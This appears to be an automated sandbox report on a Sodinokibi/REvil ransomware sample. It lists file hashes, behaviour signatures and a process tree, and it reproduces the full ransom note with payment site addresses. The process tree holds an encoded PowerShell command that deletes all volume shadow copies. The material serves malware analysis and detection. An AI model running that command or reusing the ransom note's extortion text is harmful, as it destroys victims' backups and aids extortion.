Analysis

  • max time kernel
    120s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    10/09/2024, 09:00

General

  • Target

    14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe

  • Size

    116KB

  • MD5

    b86ad4241b01376b3924a380f6f4c934

  • SHA1

    10682d08a18715a79ee23b58fdb6ee44c4e28c61

  • SHA256

    14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708

  • SHA512

    54fd19cfc37255e7ddf3456d1a2989558522cf58e5eee6ca916c19542921fe3ba4e7a431a35e0e1edbfc37c5651d392e7c3c54eb408754c0488021b16fdf92c9

  • SSDEEP

    1536:aTZINbRh0SKws6KTUkmHlntMvfWhbpfCqeICS4AKvQIFlswOmZFS0cnwpIGmQwB:FRix3PWhNlOVFmw5q0cifmQ

Malware Config

Extracted

Path

C:\Users\3llo1ovy93-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 3llo1ovy93. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] WE ARE READY TO PUBLISH UR DATA TO PUBLIC ACCESS IF YOU NOT CONTACT US (USE TOR BROWSER TO VIEW) http://dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd.onion/posts/125?s=7ee0235fc7f67403393ad971dea5809e [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/DCFFD45943586A6D 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/DCFFD45943586A6D Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: pj9Cqem5HcTYILwFBrXmsly9H3Xl6HrAozkUxLGa4y7Og66IzpXRfwD26ciiGT9T CW6tarDN8yt9hSjTSY0pplsHeOHBgD82Qo83wGgBmZT5oinv0xrQ12ojyZRPBe9q JUbAtSW0gxq4c8+IeojHaIKPmBEw2ivll9RJFRT9umy7pBKfFDGjOqMXQkRwRxX6 4GSXS5TGODJJMvwWfhC2gKBVBFT/KOFxGjWPiVp/aGfEjPXz+dlNf7Wc4v8rZBbn XjjgMlT02r8A54f8B6RVzwvzJ07byF7uiEwyRaDPzO95bnPrZhk4GvgWkEkXXUWh MSfbOweM3ibA7ZD0EKToVNUeXVbOCZkCewojXQGvHOMop8KLWrJTvgWenDHxgN0x KEGgHN4jqhtr25hbMM8RG/J739awyCDHNbr+z1Y2vHmszlpaJqGYf8SG/mh+woe6 HaHrfMdtJWNTzhFyWVxNsq2ZBImh3zaI7r5aKAV9QUNZY2sg0WW6AF/68PjiFew9 JiocXm6H1ka41JGkySBjb7cMhwuo4ntPUXQV8xKQm/ngxviA2okSmmfn4CtXOr4V u8lUyki815Nd/kORv49bH2leWVIR+xKnrr1KRShM1/nStxNw/MjLgYvW5slAk+Vf c10GvZJbsjREmUIwjGIULb3WwRQ7HPtHBfNU3ldMIRzfnDgQbuuMp+8rZqcE7lIE ecIgHW5+FtBiVvhuk8m11NpjVh5OSbeW57M3kwEQjAPz49GH9qFPl0TWDv/E9sSv iH5SC7EbH7Kac17hYBXGO1wb/61K0X5CP6ZF/71d/xRFcT22ljQEkdRfKpFO36vf 9GCVUJCI1NbLqj5FkxbkbAuucScuAS8SZ4Tkw+5NF/sWq7wCNCbo6K2ddKeI92T6 GTqYYV0D7j7tnJBq7MPvTMAAxeLV+UmcJTHRH/OocxtOMZvP5BKxr158Bt8PbZW/ qsrkhS3zVQVv/SmxrAvqSO98iFuMPRiG+UjXkeEp5Fn73Js0E6zt2ejqZsdkZxpA 1jUsqTh8ZH73qPx0REAj71QTcAGdachPPSBv+B+1twjIJKPNcYuXKbvOS7mzMu0F 2Sj0jjL/3g9iWV7/3CJhP7n/ahXqhw3epXGv7T6wgmDgMm2Ifo5e7k/wsDjropTU Ptixl47hfopsUeCFUlZaWLD9ucSKqgGHMyPnkZCPXRB24tcamZwoZoGb2xhSXGJP 7p77R38Lv5rWdl4RJcWNRqAhvBLytJglZ1cn33g9SonLAFbko7QGfJvzNmIePm4e EH63EXYRNa0taivRSGrRAeW7ebH6NJNJyXva3YbIEiuiB1b2sJd+S/de5yxVtzTK JRqYQV9Na0RqezDMJeoqGRWUVljYGJ1Y7hoiXcS0wvR3C9BPLXRtAg== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/DCFFD45943586A6D

http://decryptor.cc/DCFFD45943586A6D

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 37 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe
    "C:\Users\Admin\AppData\Local\Temp\14c8e3f1f23d16c2c9a4272cd05d00461d27b372cc5f588b4bbfc6102bbed708.exe"
    1⤵
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2444
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2724
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2668
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2704

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\3llo1ovy93-readme.txt

      Filesize

      7KB

      MD5

      596b24ea9eddc02a62a0021eda47f294

      SHA1

      a0b1b2d928b18b0b8f9262e6f34331b3960969dc

      SHA256

      f8aac3807dfdfea99955fa942925f94fe8816abe5b61e7e0f2e1f1ab2c99934f

      SHA512

      1fe12b2b4c26d3279fa749edac99db1b119694e223871c036e9da89870990e42d9385c42b122dd5298cfa72691850a96f970c0ea11ae22d519e4fd92a5d797d0

    • memory/2724-4-0x000007FEF63CE000-0x000007FEF63CF000-memory.dmp

      Filesize

      4KB

    • memory/2724-5-0x000000001B530000-0x000000001B812000-memory.dmp

      Filesize

      2.9MB

    • memory/2724-6-0x0000000002960000-0x0000000002968000-memory.dmp

      Filesize

      32KB

    • memory/2724-7-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

      Filesize

      9.6MB

    • memory/2724-8-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

      Filesize

      9.6MB

    • memory/2724-9-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

      Filesize

      9.6MB

    • memory/2724-10-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

      Filesize

      9.6MB

    • memory/2724-11-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

      Filesize

      9.6MB

    • memory/2724-12-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

      Filesize

      9.6MB